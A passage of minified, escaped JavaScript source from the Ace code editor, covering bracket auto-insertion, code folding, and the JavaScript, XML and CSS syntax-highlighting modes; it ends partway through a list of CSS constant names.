h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/xml_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/xml\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./xml_highlight_rules\").XmlHighlightRules,u=e(\"./behaviour/xml\").XmlBehaviour,a=e(\"./folding/xml\").FoldMode,f=e(\"../worker/worker_client\").WorkerClient,l=function(){this.HighlightRules=o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(l,s),function(){this.voidElements=i.arrayToMap([]),this.blockComment={start:\"<!--\",end:\"-->\"},this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/xml_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/xml\"}.call(l.prototype),t.Mode=l}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|r